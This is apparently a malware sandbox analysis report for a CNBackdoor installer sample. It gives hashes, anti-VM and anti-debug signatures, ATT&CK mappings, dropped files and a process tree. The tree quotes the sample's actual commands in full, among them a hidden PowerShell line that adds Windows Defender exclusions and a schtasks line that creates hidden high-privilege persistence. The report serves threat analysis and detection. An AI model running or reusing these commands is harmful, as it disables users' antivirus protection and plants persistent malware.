cnbackdoor | 3d006229cbe5f32f036b0f10ee2876a1d2e9434639c8ba934704d31f73688f0c

Resubmissions

10/09/2026, 09:39

260910-lml1dst1bx10

01/04/2026, 09:16

260401-k8nknsaw7k9

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 09:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Installer_v3931_x64_.exe
Size 18.8MB
Sample260910-lml1dst1bx
SHA256 3d006229cbe5f32f036b0f10ee2876a1d2e9434639c8ba934704d31f73688f0c
MD5 a8672b5a73301420360167933bc6c1f1
SHA1 c29bbb61a49331f2ccbd47871eb26f37165955aa
SHA512 e07a8dcb0384d62f7959408f4246de81b622047232e2a1e1626f69d61130f4efd73b0ffb8415773544c5a32d695b4185b07d55b2a7e0238f834f1bfb9d3e51d3
SSDEEP 393216:nAyTJ4fhttfpCr4FVU912QFtS0wNrqkauqQWG0uA1U9Vr2RMxcjiCV+:nAJw4FVUHjor/n7WG05tUCV+
TLSH
T1031733E8C389F4D5C51A8F70FF0E5289DCB245957D05C718E90EA3BEA3F2821F469926
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

backdoor defense_evasion discovery execution cnbackdoor persistence themida trojan

Malware Config

Signatures

Family: CNBackdoor
CNBackdoor aka CNB Bot is a backdoor that polls its C2 to download and execute additional malware.
backdoor cnbackdoor

Enumerates VirtualBox registry keys 2 TTPs 4 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	MBTNInstallHelper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	MBTNInstallHelper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	sysdata.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	sysdata.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Installer_v3931_x64_.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	MBTNInstallHelper.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	sysdata.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3800	powershell.exe
1284	powershell.exe
3800	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	MBTNInstallHelper.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	sysdata.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Installer_v3931_x64_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Installer_v3931_x64_.exe

Executes dropped EXE 2 IoCs

pid	Process
4780	MBTNInstallHelper.exe
3868	sysdata.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/3168-7-0x0000000000400000-0x0000000001E60000-memory.dmp	themida
behavioral1/memory/3168-8-0x0000000000400000-0x0000000001E60000-memory.dmp	themida
behavioral1/memory/3168-64-0x0000000000400000-0x0000000001E60000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Installer_v3931_x64_.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
9	api.ipify.org
10	api.ipify.org

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3168	Installer_v3931_x64_.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1000	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	sysdata.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	sysdata.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4180	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3872	schtasks.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
3800	powershell.exe
3800	powershell.exe
1284	powershell.exe
1284	powershell.exe
4780	MBTNInstallHelper.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe
3868	sysdata.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3168	Installer_v3931_x64_.exe
Token: SeDebugPrivilege	3800	powershell.exe
Token: SeDebugPrivilege	1284	powershell.exe
Token: SeDebugPrivilege	4780	MBTNInstallHelper.exe
Token: SeDebugPrivilege	3868	sysdata.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3168 wrote to memory of 3800	3168	Installer_v3931_x64_.exe	85
PID 3168 wrote to memory of 1284	3168	Installer_v3931_x64_.exe	88
PID 1284 wrote to memory of 4780	1284	powershell.exe	90
PID 4780 wrote to memory of 3872	4780	MBTNInstallHelper.exe	93
PID 4780 wrote to memory of 3868	4780	MBTNInstallHelper.exe	95
PID 4780 wrote to memory of 1000	4780	MBTNInstallHelper.exe	96
PID 1000 wrote to memory of 4180	1000	cmd.exe	98
PID 3868 wrote to memory of 3036	3868	sysdata.exe	102
PID 3868 wrote to memory of 3952	3868	sysdata.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Installer_v3931_x64_.exe
"C:\Users\Admin\AppData\Local\Temp\Installer_v3931_x64_.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath @('C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\AppData\Local\Temp\Installer_v3931_x64_.exe','C:\Users\Admin\AppData\Local','C:\Users\Admin\AppData\Roaming','C:\Users\Admin\AppData\Local','C:\Users\Admin\AppData\Roaming','RuntimeBroker.exe','InstallUtil.exe','AppLaunch.exe','dwm.exe','svchost.exe','explorer.exe','services.exe','schtasks.exe','conhost.exe'); Add-MpPreference -ExclusionProcess @('C:\Users\Admin\AppData\Local\Temp\Installer_v3931_x64_.exe','RuntimeBroker.exe','InstallUtil.exe','AppLaunch.exe','dwm.exe','svchost.exe','sysdata.exe','explorer.exe','services.exe','schtasks.exe','conhost.exe','MBTNInstallHelper.exe')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -WindowStyle Hidden Start-Process 'C:\Users\Admin\AppData\Local\Temp\\MBTNInstallHelper.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1284
- - C:\Users\Admin\AppData\Local\Temp\MBTNInstallHelper.exe
    "C:\Users\Admin\AppData\Local\Temp\MBTNInstallHelper.exe"
    3⤵
    - Enumerates VirtualBox registry keys
    - Looks for VirtualBox Guest Additions in registry
    - Looks for VMWare Tools registry key
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4780
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "HostDataModule" /TR "\"wscript.exe\" //nologo \"C:\Users\Admin\AppData\Roaming\HostData\iifm\sysdata.vbs\"" /SC MINUTE /MO 10 /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3872
  - - C:\Users\Admin\AppData\Roaming\HostData\iifm\sysdata.exe
      "C:\Users\Admin\AppData\Roaming\HostData\iifm\sysdata.exe"
      4⤵
      Enumerates VirtualBox registry keys
      Looks for VirtualBox Guest Additions in registry
      Looks for VMWare Tools registry key
      Executes dropped EXE
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3868
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks.exe" /Delete /TN "HostDataPath" /F
        5⤵
        
        PID:3036
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks.exe" /Query /TN "HostDataModule"
        5⤵
        
        PID:3952
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\mo893lmo.bat""
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1000
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4180

C:\Windows\system32\wscript.exe
"wscript.exe"
1⤵
PID:2736

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 63f3369719ec0f4063138a71ba369a25fb4824bc035eaa4072ee6a5a1812480a
MD5 e7d0883e28000a6270cf6b3b3f7b6c5a
SHA1 74d916eb15baa5ce4a168cd80d3d2c45d503daa2
SHA512 4b4ade064020959bc677689fa658816c8c498c8117df70a1ae4076533972593b4e2c3bf45d39e28662892e12db07641f14870ef69292e81030f8b3d7c92302f1
TLSH
T1C5112223F38C8920CC96163A509DAC5172B596CB81EEDF9F7FC0D210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

MBTNInstallHelper.exe

Path C:\Users\Admin\AppData\Local\Temp\MBTNInstallHelper.exe
Size 588KB
SHA256 880e381a7925f11c9deefbf98790d6642f0f704198d9b7084c49493e2877a82d
MD5 a15e415f2da083fd0d681326588dd21f
SHA1 c7643589e48bd770a62b8b3fcae66256706ba034
SHA512 8e6748b8f3b4867368ab906976897b43d323c3d492352ebb2616d64b0cde19e73fbfdf4290d4c3a3bef35b0068c7f1c3c8042a43d36d931fe5bca0c6a92c9e2a
SSDEEP 12288:/amWY3UragtveqFObHSKsorB3TDeMavWFrqW86:/Am2ahHSArxTDejvWFrqWp
TLSH
T17FD47D1FB5494A71C1888B73D9E7841463F4948276F3EF4A354A23DA8C433FADD8A687
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_bhgpue3s.m42.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bhgpue3s.m42.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

mo893lmo.bat

Path C:\Users\Admin\AppData\Local\Temp\mo893lmo.bat
Size 218B
SHA256 70bb502af5a68ad1105172ca34e7870b812adecfe6b9e450e3a889d337ece6aa
MD5 cbaa6fdf08403c0dfe835cd67192391a
SHA1 aa4b12c22a0b30204ccf80a41a7cf0ace092e34f
SHA512 980c00a7201cfadd31ed67f3c4529599915e330d25d3f91a12c1460d494ff47517cbbc355ba44dfac5f64b2514d347111ccec3656d173c59a949a41cf9f93f8f
TLSH
T1DBD01209318F47D5241065764BBF70EAA0B948AA1F486B4283F2807FD38B45E96D7FC2
MD5 SHA1 SHA512 TLSH

Submit Download

install.dat

Path C:\Users\Admin\AppData\Roaming\HostData\install.dat
Size 56B
SHA256 c696e5836ca58717d68485eeae60b92fc4fe27e44b928a1553e114af953f13a6
MD5 0e23e612681bdd3ba94b10cbe1b4e851
SHA1 a770bcfe349301df4fdfc505b8a10c30f5419e9d
SHA512 2da719de64481d79cf322c139815a9086ed0e60ffb1970749c146a5d117c20428ba82c011f164b84b9534999eaaa72a660334c35a43c4b7ef404c85046783b55
TLSH
T1DD90026422C88B1E5511A4571679D0C855665A882B9675158614454C2540849F94E066
MD5 SHA1 SHA512 TLSH

Submit Download

path.dat

Path C:\Users\Admin\AppData\Roaming\HostData\path.dat
Size 14B
SHA256 5e08ae9ecac797b66bed81b5ea90e1b6746446a01b151b3d1915f42e222126d9
MD5 f8ef4aa0a88714c81a21b5af30f8b53c
SHA1 185e555c311002424837f7564c8da114f2c35c74
SHA512 19b85346f53727e2e5b7d5420085078fb41aabc7fbdaf3b6c3363629d0da9bcc9eed25c661d2f79542debe1e3a3a21466413bbb143c9bae569ad5b5e07b570aa
MD5 SHA1 SHA512

Submit Download

memory/3168-9-0x00007FFBF25F0000-0x00007FFBF28B9000-memory.dmp

Download

memory/3168-0-0x0000000000400000-0x0000000001E60000-memory.dmp

Download

memory/3168-64-0x0000000000400000-0x0000000001E60000-memory.dmp

Download

memory/3168-63-0x00007FFBF25F0000-0x00007FFBF28B9000-memory.dmp

Download

memory/3168-1-0x00007FFBF2654000-0x00007FFBF2655000-memory.dmp

Download

memory/3168-23-0x0000000000400000-0x0000000001E60000-memory.dmp

Download

memory/3168-25-0x00007FFBF2654000-0x00007FFBF2655000-memory.dmp

Download

memory/3168-26-0x00007FFBF25F0000-0x00007FFBF28B9000-memory.dmp

Download

memory/3168-27-0x000000001EEB0000-0x000000001FD1E000-memory.dmp

Download

memory/3168-3-0x00007FFBF25F0000-0x00007FFBF28B9000-memory.dmp

Download

memory/3168-8-0x0000000000400000-0x0000000001E60000-memory.dmp

Download

memory/3168-7-0x0000000000400000-0x0000000001E60000-memory.dmp

Download

memory/3168-2-0x00007FFBF25F0000-0x00007FFBF28B9000-memory.dmp

Download

memory/3800-10-0x00007FFBF25F0000-0x00007FFBF28B9000-memory.dmp

Download

memory/3800-22-0x00007FFBF25F0000-0x00007FFBF28B9000-memory.dmp

Download

memory/3800-12-0x0000028F7BC00000-0x0000028F7BC22000-memory.dmp

Download

memory/3800-11-0x00007FFBF25F0000-0x00007FFBF28B9000-memory.dmp

Download

memory/4780-44-0x00000204999C0000-0x0000020499A34000-memory.dmp

Download

memory/4780-41-0x00000204FEFB0000-0x00000204FF048000-memory.dmp

Download